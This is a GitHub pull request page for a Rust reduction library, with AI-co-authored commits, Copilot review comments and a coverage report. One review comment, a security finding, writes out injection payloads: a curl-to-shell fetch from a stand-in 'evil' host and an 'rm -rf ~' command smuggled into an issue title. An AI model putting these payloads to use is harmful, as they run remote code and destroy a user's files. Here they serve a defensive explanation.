Fix complexity inconsistencies, enforce overhead, add missing variants#112
Fix complexity inconsistencies, enforce overhead, add missing variants#112
Conversation
- Make overhead mandatory in #[reduction] proc macro (compile error instead of silent default) - Fix 11 complexity strings to match paper ground truth (best known algorithms) - Add declare_variants! to BicliqueCover, BMF, and PaintShop Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
KingsSubgraph, TriangularSubgraph, and UnitDiskGraph variants use subexponential algorithms exploiting planar/geometric structure. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Cite Alber & Fiala (2004) for O*(c^sqrt(n)) algorithms on unit disk, King's subgraph, and triangular subgraph variants. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
This PR tightens reduction metadata correctness by making #[reduction] overhead explicit, aligning declared variant complexities with the paper’s stated best-known bounds, and ensuring missing models participate in the variant registry used by the reduction graph/documentation pipeline.
Changes:
- Enforce
overhead = { ... }as a required argument to the#[reduction]proc macro (missing overhead becomes a compile error). - Update multiple
declare_variants!complexity strings to reflect best-known algorithms (and adjust the unit test accordingly). - Add missing
declare_variants!registrations forBicliqueCover,BMF, andPaintShop, and extend paper references/text accordingly.
Reviewed changes
Copilot reviewed 18 out of 18 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
| src/unit_tests/rules/graph.rs | Updates expected complexity string for MIS default variant. |
| src/models/specialized/paintshop.rs | Adds declare_variants! entry for PaintShop. |
| src/models/specialized/factoring.rs | Updates Factoring complexity string. |
| src/models/specialized/bmf.rs | Adds declare_variants! entry for BMF. |
| src/models/specialized/biclique_cover.rs | Adds declare_variants! entry for BicliqueCover. |
| src/models/satisfiability/ksat.rs | Updates K3 SAT complexity string. |
| src/models/optimization/ilp.rs | Updates ILP complexity string. |
| src/models/optimization/closest_vector_problem.rs | Updates CVP complexity strings. |
| src/models/graph/traveling_salesman.rs | Updates TSP complexity string. |
| src/models/graph/minimum_vertex_cover.rs | Updates MVC complexity string. |
| src/models/graph/minimum_dominating_set.rs | Updates MDS complexity string. |
| src/models/graph/maximum_independent_set.rs | Updates MIS complexity strings across graph variants. |
| src/models/graph/maximum_clique.rs | Updates Maximum Clique complexity string. |
| src/models/graph/maximal_is.rs | Updates maximal IS enumeration complexity string. |
| src/models/graph/max_cut.rs | Updates MaxCut complexity string. |
| problemreductions-macros/src/lib.rs | Makes overhead mandatory for #[reduction] and emits an error if missing. |
| docs/paper/references.bib | Adds a new bibliographic reference (alber2004). |
| docs/paper/reductions.typ | Extends MIS discussion to cite geometric separation results and new reference. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| @article{alber2004, | ||
| author = {Jochen Alber and Ji\v{r}\'{\i} Fiala}, | ||
| title = {Geometric separation and exact solutions for the parameterized independent set problem on disk graphs}, | ||
| journal = {Journal of Algorithms}, | ||
| volume = {52}, | ||
| number = {2}, | ||
| pages = {134--151}, | ||
| year = {2004}, | ||
| doi = {10.1016/j.jalgor.2003.10.001} |
There was a problem hiding this comment.
The new BibTeX entry uses LaTeX accent escapes in the author field (e.g., Ji\v{r}\'{\i}), while the rest of references.bib appears to use plain text. Typst/Bib parsers often don't fully expand LaTeX macros, which can lead to incorrect rendering in the compiled paper. Consider replacing the escapes with the actual Unicode characters (e.g., "Jiří Fiala") to ensure consistent bibliography output.
| None => { | ||
| return Err(syn::Error::new( | ||
| proc_macro2::Span::call_site(), | ||
| "#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.", |
There was a problem hiding this comment.
The compile error text for missing overhead is a bit ambiguous: it says "requires overhead = { ... }" but the actual syntax is #[reduction(overhead = { ... })]. It may be clearer to include the full attribute form (and/or a short example), so users immediately know what to paste when they hit this error.
| "#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.", | |
| "Missing overhead specification. Use #[reduction(overhead = { ... })] and specify overhead expressions for all target problem size fields.", |
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #112 +/- ##
=======================================
Coverage 96.89% 96.89%
=======================================
Files 200 200
Lines 27099 27099
=======================================
Hits 26258 26258
Misses 841 841 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
- review-implementation: "Task tool" → "Agent tool" (tool doesn't exist)
- review-implementation: Remove narrow HEAD~1 detection, use main..HEAD only
- review-implementation: Add run_in_background guidance for parallel dispatch
- structural-reviewer-prompt: Fix grep-style \| to ripgrep | alternation
- fix-pr: Add $REPO resolution, replace {owner}/{repo} placeholders
- fix-pr: Clarify --jq warning scope (gh api only, not gh pr view)
- add-rule: Add export_schemas to Step 6, fix section title
- add-model: Add Step 2.5 for declare_variants! macro registration
- add-model: Add declare_variants! to Common Mistakes table
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- add-model: Document variant_params! macro usage for variant() implementation - issue-to-pr: Add pre-flight checks (clean tree, existing branch) before branch creation; add retry/dirty-tree to Common Mistakes - write-model-in-paper: Fix wrong make rust-export → use make paper (which auto-runs export_graph + export_schemas) - write-rule-in-paper: Fix wrong make rust-export → correct export commands Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Orchestrates end-to-end pipeline: issue-to-pr -> make run-plan -> copilot-review -> fix-pr loop (3 retries) -> merge. Processes all open [Model] issues first, then [Rule] issues. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Replace fixed sleep with CI poll loop (30s intervals, 15min max) - Use gh pr merge --auto to avoid CI/merge race condition - Detect existing PRs from previous runs and resume instead of re-plan - Clean stale branches before starting a new issue - Add batch-mode note: auto-approve sub-skill confirmation prompts Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 31 out of 31 changed files in this pull request and generated 3 comments.
Comments suppressed due to low confidence (1)
.claude/skills/issue-to-pr/SKILL.md:107
- The shell commands building
git commitandgh pr createarguments interpolate the GitHub issue title (<title>) directly into double-quoted strings, which allows command injection if an attacker opens an issue with a crafted title containing shell metacharacters (e.g.,$(curl https://evil | sh)or"; rm -rf ~; echo "). When/issue-to-pris run on such an issue and this template is followed literally, the generated command line will execute the injected payload on the developer/automation host. To fix this, ensure the issue title is safely escaped or passed via a variable (or--fileinput) rather than inlined into the shell command, and strip or neutralize shell metacharacters before constructing any command that includes user-controlled text.
# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>
# Stage the plan file
git add docs/plans/<plan-file>.md
# Commit
git commit -m "Add plan for #<number>: <title>"
# Push
git push -u origin issue-<number>-<slug>
# Create PR
gh pr create --title "Fix #<number>: <title>" --body "
## Summary
<Brief description>
Closes #<number>"
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
|
|
||
| crate::declare_variants! { | ||
| Factoring => "exp(sqrt(num_bits))", | ||
| Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))", |
There was a problem hiding this comment.
The new Factoring complexity string references num_bits, but this model doesn’t define a num_bits() getter (it has m()/n() and num_bits_first()/num_bits_second()). This makes the complexity metadata inconsistent with the model’s size parameters and can be confusing/misleading in the exported docs. Consider expressing the bit-length in terms of existing fields (e.g., m + n, or num_bits_first + num_bits_second) or adding a num_bits() helper that matches the complexity expression.
| Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))", | |
| Factoring => "exp((m + n)^(1/3) * log(m + n)^(2/3))", |
| | 3 | `#[derive(...Serialize, Deserialize)]` on struct | `Grep("Serialize.*Deserialize", file)` | | ||
| | 4 | `Problem` trait impl | `Grep("impl.*Problem for.*{P}", file)` | | ||
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` | | ||
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` | |
There was a problem hiding this comment.
The regex alternation here uses an unescaped |, but the same checklist uses escaped alternation (\|) in other Grep patterns below. If the Grep tool is using basic regex, this pattern will match the literal | instead of acting as alternation, causing the checklist to miss valid impls. Use a consistent regex style (e.g., OptimizationProblem\|SatisfactionProblem for basic regex, or switch all alternations to unescaped | if Grep is extended regex).
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` | | |
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` | |
| **Pre-flight checks** (before creating the branch): | ||
| 1. Verify clean working tree: `git status --porcelain` must be empty. If not, STOP and ask user to stash or commit. | ||
| 2. Check if branch already exists: `git rev-parse --verify issue-<number>-<slug> 2>/dev/null`. If it exists, switch to it with `git checkout` (no `-b`) instead of creating a new one. | ||
|
|
||
| ```bash | ||
| # Create branch | ||
| # Create branch (from main) | ||
| git checkout main | ||
| git checkout -b issue-<number>-<slug> | ||
|
|
There was a problem hiding this comment.
The pre-flight checks say to git checkout issue-<number>-<slug> without -b if the branch already exists, but the example snippet always runs git checkout -b issue-<number>-<slug>, which will fail on retries. Consider updating the snippet to reflect the conditional logic (or show both commands in an if/else).
Summary
overheadmandatory in#[reduction]proc macro — missing overhead now produces a compile error instead of silently defaulting to emptydeclare_variants!to match paper ground truth (best known algorithms instead of naive brute-force bounds)declare_variants!to 3 models that were missing it:BicliqueCover,BMF,PaintShopTest plan
make test— all 1526 tests passmake clippy— no warningsmake rust-export— regenerated successfully🤖 Generated with Claude Code